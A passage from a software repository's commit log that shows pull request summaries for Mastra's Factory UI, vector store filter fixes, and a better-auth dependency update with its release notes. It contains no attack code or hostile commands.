- If not, it calls `upsertMessage` with the live message. The entry
keeps its `streaming` flag when that flag is `true`.
- `followsStream` maps each displayed part to its stream index. The
index comes from `sourcePartIndexes`, or from the part's position when
`sourcePartIndexes` is absent. It returns true only when:
- every live part is either covered by the displayed part at its index
(checked with `partCovers`), or is a tool call listed in
`toolCallIdsDrawnElsewhere`, and
- every displayed part whose stream index falls outside the live message
is a `tool-invocation` part.
- `windowCopyCovers` now delegates its per-part comparison to a new
helper, `partCovers(copy, part)`. The comparison logic is unchanged. The
length check that rejects shorter persisted copies already existed.


**`mastracode/factory-ui/src/ui/pages/__tests__/ThreadPageRunInFlight.msw.test.tsx`
(+337)**

- Adds an MSW streaming harness and a `describe` block for `ThreadPage`
joining a run in flight. The block has five tests:
1. Each call is drawn once when the tab returns to a reply that began
while it was away.
  2. Calls that a streaming reply made while the tab was away are shown.
  3. Each call is drawn once when the thread opens on a reply in flight.
  4. Words that a reply wrote while the tab was away are kept.
  5. A reply in flight on another thread in the session is left out.

### Public API

No exported or public declarations change.

### Scope and limits

- Stored message copies can contain parts that the stream does not send,
such as `step-start` and workspace data parts. Stream indexes count only
streamed parts.
- The author states that validation used MSW only. The fix was not
verified in a real browser against a running session.
- The repeated kickoff block, which the author attributes to a
dispatcher retry of an aborted run, is not addressed by this PR.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-15 23:23:08 -08:00
Tyler Barnes
49de7780aa
fix(convex): apply every operator in a vector filter field condition (#30469) 2026-11-15 22:14:16 -07:00
Tyler Barnes
20a1a404fd
fix(pinecone): keep other filter conditions next to $all (#30468) 2026-11-15 22:14:04 -07:00
Damien Schneider
e8ef0c928f
fix(factory-ui): tidy sidebar actions, the locked model picker and branch copying (#30471)
**─────── TLDR ───────**
> Five small fixes to controls in Factory's sidebar, composer and
session panel.

Four of them had their own styling instead of reusing the control beside
them. They reuse it now, and the two components that only existed for
the locked model control are gone. The fifth lets a card's description
show more before you expand it.

### Behavior changed

Hovering a board row in the sidebar
&nbsp;&nbsp;├─ **was** — the configure link was a ghost icon button with
its own hover reveal
&nbsp;&nbsp;└─ **now** — the same row action as every other sidebar row

The sidebar command header
&nbsp;&nbsp;├─ **was** — its buttons stopped 6px short of the nav rows'
right edge
&nbsp;&nbsp;└─ **now** — flush with the rows' right edge

Steering a teammate's session, the composer's model control
&nbsp;&nbsp;├─ **was** — a separate model + thinking button pair, styled
unlike the picker
&nbsp;&nbsp;└─ **now** — the usual picker trigger, disabled; hover says
who can change it

Copying a session's branch in the workspace panel
&nbsp;&nbsp;├─ **was** — a separate copy icon button after the branch
name
&nbsp;&nbsp;└─ **now** — click the branch icon or name; a copy icon
shows on hover

A card's description in the session panel overview
&nbsp;&nbsp;├─ **was** — clipped at 72px, with Show more on its own row
below
&nbsp;&nbsp;└─ **now** — clipped at 100px, Show more floats centered
over the fade

### Decisions

- **copy icon keeps a reserved slot at the end of the name** —
overlaying it would hide the end of a truncated branch; one class away
- **no tooltip on the branch button** — the hover icon and the toast
already say it copies; a truncated name is no longer readable on hover
- **`unavailableReason` is a minor bump** — new optional prop, same name
and role as `ThinkingLevelPicker`'s

### Shape changed

| | | |
|---|---|---|
| **−** | `LockedModelButton` | the locked state is now the shared
picker, disabled |
| **−** | `ModelThinkingGroup` | the thinking level now lives in the
disabled trigger's accessible name |
| **~** | `Button` rendered as a link | drops `type`, the configure link
was rendering `<a type="button">` |

new on `@mastra/playground-ui`
&nbsp;&nbsp;&nbsp;&nbsp;`ModelPicker` `unavailableReason?: string`

One test in `ThreadPageTeammateSession` ("says a teammate when the owner
has no profile") fails locally on `main` too when the whole file runs,
and passes alone. `EmptyThreadState` shows the owner's `userId` as the
resource ID. I left it out of this PR.

### Not verified

- [ ] the five changes in a running browser; the layout is from reading
the classes

---

> ██████████████████ **source** `+160 −105` — net +55, two components
deleted
> ███ **changeset** `+21`
> █ **tests** `+12 −5`


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

**ELI5:** This change fixes several small Factory UI details. Sidebar
buttons line up with their rows, a locked model shows a disabled picker
with a reason tooltip, and a session branch copies when clicked. Session
descriptions also show more text before they are clipped.

## Overview

The change updates 15 files. It adds 193 lines and removes 110. It
changes two packages:

- `@mastra/playground-ui`: adds the `unavailableReason` prop to
`ModelPicker`, changes `Button` link rendering, and adjusts sidebar
command-header padding.
- `mastracode/factory-ui`: removes two session model-status components
and updates the board, workspace, session-description, and model-status
UI.

## Changes

### Playground UI package

- **`ModelPicker`
(`packages/playground-ui/src/domains/llm/model-picker.tsx`):** Adds
optional `unavailableReason?: string` to `ModelPickerProps`. When set,
the trigger renders disabled and shows the reason in a tooltip.
Otherwise, the popover or drawer picker renders as before.
- **`Button`
(`packages/playground-ui/src/ds/components/Button/Button.tsx`):** When a
button renders as a link, the cloned element sets `type` to `undefined`.
Link-rendered buttons no longer put `type` on the anchor. This allows
`Sidebar.NavAction` links to render a valid `<a>`.
- **`SidebarCommandHeader`
(`packages/playground-ui/src/ds/components/Sidebar/header/sidebar-command-header.tsx`):**
Uses `pr-0.5` instead of `pr-2` when the sidebar is not collapsed. The
collapsed padding stays `px-3`.
- **Changesets:** A minor changeset documents `unavailableReason`. A
patch changeset documents the `Sidebar.CommandHeader` alignment and the
`Button` link fix.

### Factory UI: model status

- **Removed:** `LockedModelButton.tsx` and `ModelThinkingGroup.tsx`.
- **`ModelPicker.tsx`:** `ModelMenuProps` accepts `unavailableReason?:
string`, and `ModelMenu` passes it to the shared picker. A new
`LockedModelMenu` renders the session owner's credential and the shared
model menu. Its trigger is disabled and shows the locked reason. Its
accessible label includes the thinking summary. When a session has a
locked model and a selected model ID, `ModelPicker` uses this menu. The
regular menu reuses the shared trigger content.
- **`SessionThinkingSettings.tsx` and `useSessionThinking.ts`:**
`useSessionThinking` returns a `summary` string. The summary is
`loading` or `unavailable` for those states. Otherwise, it is the label
that matches the effective level, or the level value if no label
matches. `SessionThinkingSettings` uses this summary in the group's
accessible label.

### Factory UI: board and sessions

- **`FactorySection.tsx`:** Board configuration actions use
`Sidebar.NavAction` instead of `Button`. The hover and focus group
selectors are updated. `FactoryLink` no longer adds the `group/board`
class when an action is present.
- **`CardDescription.tsx`:** Raises the collapsed height cap from 4.5rem
to 6.25rem. The description container is centered. The collapsed mask
starts at 50% instead of 30%. The "Show more" / "Show less" button
changes from `ghost` to `default` styling. While collapsed, the button
sits over the bottom center of the description. When expanded, that
positioning is removed.

### Factory UI: workspace branch

- **`WorkspaceSection.tsx`:** Replaces `CopyButton` with a local
`BranchCopyButton`. Clicking the branch icon or name copies the branch
name. The button shows a checkmark after copying. The copy icon appears
on hover or keyboard focus. The loading and unavailable states are
unchanged.

## Tests

- **`WorkspaceFiles.msw.test.tsx`:** The focus assertion in "opens the
overview immediately" now expects the `Copy branch factory/issue-1`
button instead of `Copy branch name`.
- **`ThreadPageTeammateSession.msw.test.tsx`:** The disabled model
button's accessible name now includes the thinking level. The test
checks that the session owner's OpenAI credential is shown. It keeps the
locked-reason tooltip check and asserts that clicking the model button
does not open a dialog. It no longer asserts that the thinking-level
control is disabled.

## Known issues and limits

- The author reports that the test "says a teammate when the owner has
no profile" fails when the full `ThreadPageTeammateSession` file runs on
`main`. It passes when run alone. This PR does not address that failure.
- The author did not verify the five UI changes in a running browser.
- CI and test results: not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-15 20:06:27 -08:00
Tyler Barnes
7da6593acb
ci(test-tiers): let the daily update finish (#30467) 2026-11-15 20:49:57 -07:00
Damien Schneider
9b9240047b
feat(factory-ui): add a stage bar, dock the session panel, and find any workspace file (#30388)
**─────── TLDR ───────**
> Card session pages now show the card's stage in the header and its
links, changes and files in a panel docked beside the conversation.

Before, a review session listed its pull requests twice, and each
surface judged a pull request's status its own way. Now each fact has
one home, and the panel gives way before the conversation does.

### Behavior changed

a card session's header
&nbsp;&nbsp;├─ **was** — a breadcrumb: board, card, then the session's
context
&nbsp;&nbsp;└─ **now** — a stage bar: arrows move the card, or say why
they can't

the session panel as the window narrows
&nbsp;&nbsp;├─ **was** — under the header, the conversation squeezed
beside it
&nbsp;&nbsp;└─ **now** — beside the header; narrows, then folds in step
with the sidebar

Go to file in a session
&nbsp;&nbsp;├─ **was** — no search: a file was reached by opening its
folders one by one
&nbsp;&nbsp;└─ **now** — typing a name finds any workspace file,
multi-repo roots included, changed first

a pull request's status icon on the board, in the sidebar and the panel
&nbsp;&nbsp;├─ **was** — each surface read the state its own way
&nbsp;&nbsp;└─ **now** — one rule: merged sticks, a close holds until
the card reopens

a pull request closed, then reopened
&nbsp;&nbsp;├─ **was** — on GitHub every card holding it stayed closed;
on GitLab, its own card
&nbsp;&nbsp;└─ **now** — every card that holds it reads open again

### Shape changed

| | | |
|---|---|---|
| **−** | `WorkspaceOverview`, `WorkspaceFilesSurface` | replaced by
`WorkspaceSection` and the docked card |
| **−** | `FactoryReviewPullRequestLinks`, `PullRequestLinks` | the
links live in the panel overview |
| **−** | `GlobalSearchButton` | search lives in the sidebar |
| **−** | `useWorkspacePullRequestStatuses` | its 5-second poll goes;
`useSessionPullRequestSubscriptions` reads on the feed |
| **~** | `usePullRequestSubscriptions` | split into
`useThreadSubscriptions` and `useRefreshThreadSubscriptions` |

new surface the panel relies on
&nbsp;&nbsp;&nbsp;&nbsp;`GET /web/workspace/files?workspacePath=`
returns `{ workspacePath, available, paths, truncated }` · `updatedAt`
on GitHub and GitLab subscriptions · `CodeDiff` paints on the card
surface, Studio included · the dock is an `aside` landmark named Session
panel

### Decisions

- **no breadcrumb** — the sidebar, panel and stage bar each name one
part; one component to restore it
- **search only in the sidebar, phones included** — the header button
duplicated it; Cmd/Ctrl+K still opens it
- **the client still picks between card and subscription state** —
either can lag today; I move that to the server next

### Tradeoff

The sidebar stops asking for each visible session's pull request status
every 5 seconds. The board's live feed now triggers that read, and a
re-read every 60 seconds is the floor. For ten visible sessions with an
open pull request and nothing happening, that is about 10 reads a minute
where main made 120 (computed from the intervals, not measured). A busy
board refreshes at most every 5 seconds, so it never reads more often
than main's poll, and like that poll it re-reads only a pull request
whose subscription is open. The price: a status that changes without a
card write can show up to 60 seconds late, against 5 on main. With the
stream down, it reads every 5 seconds as before.

### Not verified

- [ ] the panel folding and unfolding in Safari and Firefox — checked in
Chromium only
- [ ] the file index on busybox sandboxes — its script relies on `grep
-z` and `xargs -0`
- [ ] a pull request reopened on a real GitHub or GitLab repository —
the reopen sync ran against test storage only
- [ ] the file index refusing a symlinked checkout on a Linux sandbox —
it ran on a macOS host only, and a single-repository workdir that is
itself a symlink is not checked
- [ ] the `mastra-studio-preview` build on Vercel — it fails generating
`@mastra/connect` provider docs (`oxfmt-mdx` not found), in files this
PR does not touch
- [ ] `CodeDiff` in Studio's memory observations — it shares the
component, and I only looked at it in Factory
- [ ] a sidebar toggle that leaves the conversation within 10px of the
dock threshold — the fold starts about 70ms after the sidebar there

---

> ██████████████████ **ui source** `+3583 −1446`
> █████████████ **ui tests** `+2586 −611` — with e2e and server tests,
49% of the additions
> ████ **e2e** `+777 −2` — a 556-line heavy-session fixture
> ██ **server tests** `+401 −22`
> ██ **server source** `+352 −16` — the file index route and the reopen
sync on GitHub and GitLab
> █ **changesets** `+46`
> █ **design system** `+4` — `CodeDiff` on the card surface

---------

Co-authored-by: Damien Schneider <damienschneider@damiens-MacBook-Pro.local>
Co-authored-by: Damien Schneider <damienschneider@mac.lan>
2026-11-15 18:30:53 -08:00
Dane - AI (Mastra)
a1c11c5b11
chore(deps): update better-auth monorepo to v1.7.22 (#30464)
This PR contains the following updates:

| Package | Type | Update | Change | Pending |
|---|---|---|---|---|
|
[@better-auth/drizzle-adapter@<1.7.7](https://www.better-auth.com/docs/adapters/drizzle)
([source](https://redirect.github.com/better-auth/better-auth/tree/HEAD/packages/drizzle-adapter))
| pnpm-workspace.overrides | patch | [`1.7.18` →
`1.7.22`](https://renovatebot.com/diffs/npm/@better-auth%2fdrizzle-adapter/1.7.18/1.7.22)
| `1.7.25` (+2) |
| [better-auth](https://better-auth.com)
([source](https://redirect.github.com/better-auth/better-auth/tree/HEAD/packages/better-auth))
| pnpm-workspace.overrides | patch | [`^1.7.18` →
`^1.7.22`](https://renovatebot.com/diffs/npm/better-auth/1.7.18/1.7.22)
| `1.7.25` (+2) |
| [better-auth](https://better-auth.com)
([source](https://redirect.github.com/better-auth/better-auth/tree/HEAD/packages/better-auth))
| dependencies | patch | [`^1.7.18` →
`^1.7.22`](https://renovatebot.com/diffs/npm/better-auth/1.7.18/1.7.22)
| `1.7.25` (+2) |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/9505) for more information.

---

### Release Notes

<details>
<summary>better-auth/better-auth
(@&#8203;better-auth/drizzle-adapter@<1.7.7)</summary>

###
[`v1.7.22`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/drizzle-adapter/CHANGELOG.md#1722)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.21...v1.7.22)

##### Patch Changes

-
[#&#8203;12333](https://redirect.github.com/better-auth/better-auth/pull/12333)
[`6536174`](6536174213)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fix
`getSession` failing with "Failed to get session" when a
`user.additionalFields` entry references a table outside the Better Auth
schema, including with database joins enabled on Drizzle and Prisma.
Join resolution now matches `references.model` against schema keys only.

###
[`v1.7.21`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/drizzle-adapter/CHANGELOG.md#1721)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.20...v1.7.21)

###
[`v1.7.20`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/drizzle-adapter/CHANGELOG.md#1720)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.19...v1.7.20)

###
[`v1.7.19`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/drizzle-adapter/CHANGELOG.md#1719)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.18...v1.7.19)

</details>

<details>
<summary>better-auth/better-auth (better-auth)</summary>

###
[`v1.7.22`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/better-auth/CHANGELOG.md#1722)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.21...v1.7.22)

##### Patch Changes

-
[#&#8203;12324](https://redirect.github.com/better-auth/better-auth/pull/12324)
[`80c407b`](80c407b7ca)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
`ReferenceError: window is not defined` when a client session
subscription is cleaned up after a test environment such as happy-dom
tears down its globals.

-
[#&#8203;12462](https://redirect.github.com/better-auth/better-auth/pull/12462)
[`d32a30a`](d32a30af37)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
session polling never firing when the runtime's `navigator` does not
report connectivity.

-
[#&#8203;12324](https://redirect.github.com/better-auth/better-auth/pull/12324)
[`80c407b`](80c407b7ca)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
client session refresh listeners piling up on the server during SSR.

-
[#&#8203;12321](https://redirect.github.com/better-auth/better-auth/pull/12321)
[`946177e`](946177e509)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! -
Revoking your current session with `revokeSession` or `revokeSessions`,
and deleting your account with `deleteUser({ token })`, now expire the
session cookies, so a cached session is no longer returned afterwards.

-
[#&#8203;12459](https://redirect.github.com/better-auth/better-auth/pull/12459)
[`d210421`](d210421a26)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! -
`getSession` no longer leaves an expired session in the request context
after returning `null`.

-
[#&#8203;12331](https://redirect.github.com/better-auth/better-auth/pull/12331)
[`485567e`](485567e2c9)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - OAuth
sign-up rejected by a `user.create.before` hook returning `false` no
longer logs a `TypeError`. It still fails with `unable_to_create_user`.

-
[#&#8203;12334](https://redirect.github.com/better-auth/better-auth/pull/12334)
[`ec3047d`](ec3047da81)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
`deleteOrganization` clearing the session's active organization when a
`beforeDeleteOrganization` hook rejected the delete. The active
organization is now cleared only after the organization is actually
deleted.

-
[#&#8203;12330](https://redirect.github.com/better-auth/better-auth/pull/12330)
[`d521343`](d521343fc3)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fix
`deferSessionRefresh` refresh requests failing with 415 in Next.js and
Nuxt, where the bodyless `POST /get-session` reached the handler as an
empty stream without a `Content-Type`.

-
[#&#8203;12451](https://redirect.github.com/better-auth/better-auth/pull/12451)
[`71052af`](71052af880)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - On
Cloudflare Workers, consuming a verification value no longer hangs when
an earlier request for the same identifier ended mid-query. A superseded
code can also no longer be consumed while a newer one is being verified
on a database without transactions.

-
[#&#8203;12448](https://redirect.github.com/better-auth/better-auth/pull/12448)
[`79219b4`](79219b4f8e)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Schema
validation now runs when the auth instance is first used instead of when
it is created, so a module-scope instance on Cloudflare Workers no
longer logs a validation error on every cold start. On every runtime, a
mismatch is no longer logged at startup and is reported by the requests
that fail.

- Updated dependencies
\[[`6536174`](6536174213),
[`262adc0`](262adc0e76),
[`e9d8e59`](e9d8e5977c),
[`79219b4`](79219b4f8e)]:
-
[@&#8203;better-auth/core](https://redirect.github.com/better-auth/core)@1.7.22
-
[@&#8203;better-auth/drizzle-adapter](https://redirect.github.com/better-auth/drizzle-adapter)@1.7.22
-
[@&#8203;better-auth/prisma-adapter](https://redirect.github.com/better-auth/prisma-adapter)@1.7.22
-
[@&#8203;better-auth/telemetry](https://redirect.github.com/better-auth/telemetry)@1.7.22
-
[@&#8203;better-auth/kysely-adapter](https://redirect.github.com/better-auth/kysely-adapter)@1.7.22
-
[@&#8203;better-auth/memory-adapter](https://redirect.github.com/better-auth/memory-adapter)@1.7.22
-
[@&#8203;better-auth/mongo-adapter](https://redirect.github.com/better-auth/mongo-adapter)@1.7.22

###
[`v1.7.21`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/better-auth/CHANGELOG.md#1721)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.20...v1.7.21)

##### Patch Changes

-
[#&#8203;12126](https://redirect.github.com/better-auth/better-auth/pull/12126)
[`4739122`](4739122fa6)
Thanks
[@&#8203;hardikguptaofficialgit](https://redirect.github.com/hardikguptaofficialgit)!
- On Prisma with MongoDB, when your id columns use `@db.ObjectId`, magic
link and email OTP sign-in for users with an unverified email no longer
fail with a 500 (`Malformed ObjectID`). SAML sign-in, DPoP-bound OAuth
requests, and `private_key_jwt` client authentication are fixed the same
way, and Sign-In with Ethereum now keeps the email the user supplied
instead of a placeholder. Setups with plain `String` id columns and
other databases are unaffected.

-
[#&#8203;12392](https://redirect.github.com/better-auth/better-auth/pull/12392)
[`a277020`](a277020fa3)
Thanks
[@&#8203;gustavovalverde](https://redirect.github.com/gustavovalverde)!
- Fixed the device approval page showing a valid code as invalid when
the same signed-in user looked it up twice at once, such as under React
Strict Mode in development.

-
[#&#8203;12052](https://redirect.github.com/better-auth/better-auth/pull/12052)
[`1c3410a`](1c3410a5c3)
Thanks
[@&#8203;lakshya-dhariwal](https://redirect.github.com/lakshya-dhariwal)!
- If you set `advanced.backgroundTasks.handler` and your database
adapter runs transactions (the built-in Kysely connection, MongoDB with
`client`, or Prisma or Drizzle with `transaction: true`), email sign-up
now keeps the database writes made while sending the verification email
or running `onExistingUserSignUp`. Before, those writes failed because
the sign-up had already been saved. With `emailOTP({
overrideDefaultEmailVerification: true })`, the code was never stored,
so new users could not verify their email.

Whatever adapter or background handler you use, a sign-up verification
email now goes out after the new user is saved, and
`onExistingUserSignUp`, when a duplicate sign-up triggers it, runs after
the request's database work completes. If `sendVerificationEmail`
throws, the sign-up succeeds and the error is logged; before, the
sign-up failed. To reject a sign-up, use a
`databaseHooks.user.create.before` hook. If `onExistingUserSignUp`
throws, the error is logged and the request still returns the generic
response.

-
[#&#8203;12179](https://redirect.github.com/better-auth/better-auth/pull/12179)
[`9105261`](91052614cb)
Thanks [@&#8203;ghazy2001](https://redirect.github.com/ghazy2001)! -
Generic OAuth providers configured with `discoveryHeaders` now send
those headers when fetching the provider's signing keys from a
`jwks_uri` on the same origin as `discoveryUrl`. Before, the keys
request went out without them. Providers whose key endpoint requires the
headers rejected it, so every ID token failed verification and sign-in
failed. A `jwks_uri` on another origin still gets no headers.

With `discoveryHeaders` set, the discovery request now follows redirects
only within the origin of `discoveryUrl`, so the headers no longer reach
another host. If your `discoveryUrl` redirects to another origin,
discovery now fails and Better Auth logs an error. Set `discoveryUrl` to
the final URL. Providers without `discoveryHeaders` are unaffected.

-
[#&#8203;12401](https://redirect.github.com/better-auth/better-auth/pull/12401)
[`c3a94c5`](c3a94c546a)
Thanks
[@&#8203;gustavovalverde](https://redirect.github.com/gustavovalverde)!
- Generic OAuth providers configured with `authorizationHeaders` now
send those headers when refreshing an access token, not only when
exchanging the authorization code. Before, a provider whose token
endpoint requires one of those headers accepted the sign-in but rejected
every refresh. Providers without `authorizationHeaders` are unaffected.

`refreshAccessToken` and `refreshAccessTokenRequest` from
`@better-auth/core/oauth2` accept an optional `headers` input for
providers that need extra headers on refresh. Client authentication
headers still take precedence over it.

Extra headers whose names differ only in case from a client
authentication header, such as `Authorization` with `authentication:
"basic"`, no longer produce a combined, invalid header on the code
exchange or refresh. Client authentication replaces them, including
headers a custom `tokenEndpointAuth` hook sets in any casing.

-
[#&#8203;12404](https://redirect.github.com/better-auth/better-auth/pull/12404)
[`9b40ac6`](9b40ac62af)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Plugin
packages no longer import from the `better-auth` root, so bundlers that
split code stop emitting unused Kysely chunks when used with
`better-auth/minimal`.

-
[#&#8203;12395](https://redirect.github.com/better-auth/better-auth/pull/12395)
[`b0ced9d`](b0ced9d257)
Thanks
[@&#8203;gustavovalverde](https://redirect.github.com/gustavovalverde)!
- On Cloudflare Workers, sign-ins with a `genericOAuth` provider that
uses `discoveryUrl`, and OAuth provider requests that use a configured
resource (`resources`), no longer hang. An auth instance created at
module scope retries discovery and resource seeding on later requests.
Previously, if the request running that retry ended first, every later
request that needed it waited forever. Each request now retries on its
own until one succeeds.

On other runtimes, concurrent requests may send a few more discovery
requests or resource lookups while the identity provider or database is
unreachable.

-
[#&#8203;11912](https://redirect.github.com/better-auth/better-auth/pull/11912)
[`5c12074`](5c120747e4)
Thanks
[@&#8203;gustavovalverde](https://redirect.github.com/gustavovalverde)!
- If you use PostgreSQL and other schemas in the same database are
dropped while Better Auth reads the database, for example one schema per
tenant or parallel test runs, the startup schema check and `npx
auth@latest migrate` no longer fail intermittently with `schema "…" does
not exist` or `relation "…" does not exist`. The startup schema check
now reads only the schemas on the connection's `search_path`, plus any
schema set with `schemaName` or a schema plugin, and `migrate` reads
only the schema it migrates. Before, both read every schema in the
database. If no other schemas change while Better Auth reads the
database, nothing changes for you.

-
[#&#8203;12403](https://redirect.github.com/better-auth/better-auth/pull/12403)
[`e64f624`](e64f624273)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - SIWE
verification no longer includes the internal error message (for example
a database error) in its 401 response. The original error is now logged
on the server instead.

- Updated dependencies
\[[`4739122`](4739122fa6),
[`c3a94c5`](c3a94c546a),
[`4080630`](40806302bf),
[`5c12074`](5c120747e4),
[`b241ffc`](b241ffc940),
[`57fa843`](57fa8432d8),
[`1a79da5`](1a79da5067),
[`2d10ae7`](2d10ae733e),
[`ef4d4f7`](ef4d4f7dc4)]:
-
[@&#8203;better-auth/core](https://redirect.github.com/better-auth/core)@1.7.21
-
[@&#8203;better-auth/prisma-adapter](https://redirect.github.com/better-auth/prisma-adapter)@1.7.21
-
[@&#8203;better-auth/mongo-adapter](https://redirect.github.com/better-auth/mongo-adapter)@1.7.21
-
[@&#8203;better-auth/kysely-adapter](https://redirect.github.com/better-auth/kysely-adapter)@1.7.21
-
[@&#8203;better-auth/telemetry](https://redirect.github.com/better-auth/telemetry)@1.7.21
-
[@&#8203;better-auth/drizzle-adapter](https://redirect.github.com/better-auth/drizzle-adapter)@1.7.21
-
[@&#8203;better-auth/memory-adapter](https://redirect.github.com/better-auth/memory-adapter)@1.7.21

###
[`v1.7.20`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/better-auth/CHANGELOG.md#1720)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.19...v1.7.20)

##### Patch Changes

- Updated dependencies
\[[`a3f50d0`](a3f50d064d),
[`e9b43d7`](e9b43d7149),
[`265629c`](265629cb95),
[`e9b43d7`](e9b43d7149)]:
-
[@&#8203;better-auth/core](https://redirect.github.com/better-auth/core)@1.7.20
-
[@&#8203;better-auth/memory-adapter](https://redirect.github.com/better-auth/memory-adapter)@1.7.20
-
[@&#8203;better-auth/prisma-adapter](https://redirect.github.com/better-auth/prisma-adapter)@1.7.20
-
[@&#8203;better-auth/drizzle-adapter](https://redirect.github.com/better-auth/drizzle-adapter)@1.7.20
-
[@&#8203;better-auth/kysely-adapter](https://redirect.github.com/better-auth/kysely-adapter)@1.7.20
-
[@&#8203;better-auth/mongo-adapter](https://redirect.github.com/better-auth/mongo-adapter)@1.7.20
-
[@&#8203;better-auth/telemetry](https://redirect.github.com/better-auth/telemetry)@1.7.20

###
[`v1.7.19`](https://redirect.github.com/better-auth/better-auth/blob/HEAD/packages/better-auth/CHANGELOG.md#1719)

[Compare
Source](https://redirect.github.com/better-auth/better-auth/compare/v1.7.18...v1.7.19)

##### Patch Changes

-
[#&#8203;12323](https://redirect.github.com/better-auth/better-auth/pull/12323)
[`a10121d`](a10121d33c)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
the `active-sessions` list in secondary storage being stored without an
expiry when the last remaining session had less than a second left.

-
[#&#8203;12335](https://redirect.github.com/better-auth/better-auth/pull/12335)
[`c41f8ff`](c41f8ff087)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
`/admin/create-user` leaving a user without a credential account when
the password was rejected (for example by the Have I Been Pwned plugin),
which made retrying with the same email fail with
`USER_ALREADY_EXISTS_USE_ANOTHER_EMAIL`.

-
[#&#8203;12338](https://redirect.github.com/better-auth/better-auth/pull/12338)
[`e786566`](e786566dc5)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
`/admin/create-user` leaving a user without a credential account when
creating that account failed, which made retrying with the same email
fail with `USER_ALREADY_EXISTS_USE_ANOTHER_EMAIL`.

-
[#&#8203;12336](https://redirect.github.com/better-auth/better-auth/pull/12336)
[`ac778b7`](ac778b70e9)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Client
actions now send the HTTP method passed in the second-argument fetch
options, the same as when it is nested under `fetchOptions`. Passing a
lowercase `get` or `HEAD` method no longer fails because a request body
was attached.

-
[#&#8203;12246](https://redirect.github.com/better-auth/better-auth/pull/12246)
[`5eb69d8`](5eb69d8371)
Thanks
[@&#8203;AryaKesharwani](https://redirect.github.com/AryaKesharwani)! -
`/device/token` now returns `invalid_client` instead of `invalid_grant`
when `validateClient` rejects the `client_id`, matching `/device/code`
and RFC 6749 section 5.2.

-
[#&#8203;12319](https://redirect.github.com/better-auth/better-auth/pull/12319)
[`4b0327b`](4b0327bfa3)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Plugin
schema overrides (`modelName` and field names) no longer leak into other
instances of the same plugin in one process.

-
[#&#8203;12320](https://redirect.github.com/better-auth/better-auth/pull/12320)
[`2d5ef64`](2d5ef64dae)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fix
OAuth sign-in failing with `state_mismatch` during the daylight saving
time fall-back hour on servers that do not run in UTC. The stored OAuth
state is no longer created already expired.

-
[#&#8203;12337](https://redirect.github.com/better-auth/better-auth/pull/12337)
[`5f0a0fc`](5f0a0fcef3)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - The
OpenAPI schema now documents query parameters for endpoints whose query
schema is wrapped in `z.optional()`, such as `/get-session` and Stripe's
`/subscription/list`.

-
[#&#8203;12332](https://redirect.github.com/better-auth/better-auth/pull/12332)
[`89e74b8`](89e74b81e5)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
`organization.getInvitation` returning a missing, expired, or
non-pending invitation error without a `code`. It now returns
`INVITATION_NOT_FOUND` like the other invitation endpoints.

-
[#&#8203;12318](https://redirect.github.com/better-auth/better-auth/pull/12318)
[`525bd7a`](525bd7a7d8)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fix
`listMembers` failing with a syntax error on PostgreSQL and MSSQL when
the filter or offset matches no members.

-
[#&#8203;12366](https://redirect.github.com/better-auth/better-auth/pull/12366)
[`23a60a3`](23a60a31f4)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
SIWE sign-in leaving a user behind when creating its wallet address or
account failed, which blocked that wallet from signing in again.

-
[#&#8203;12340](https://redirect.github.com/better-auth/better-auth/pull/12340)
[`29e45f8`](29e45f84d5)
Thanks [@&#8203;bytaesu](https://redirect.github.com/bytaesu)! - Fixed
social sign-up hanging on single-connection databases when the username
plugin is enabled and the provider profile maps a username.

- Updated dependencies
\[[`8412a5f`](8412a5f43b),
[`34ee100`](34ee1008d8)]:
-
[@&#8203;better-auth/core](https://redirect.github.com/better-auth/core)@1.7.19
-
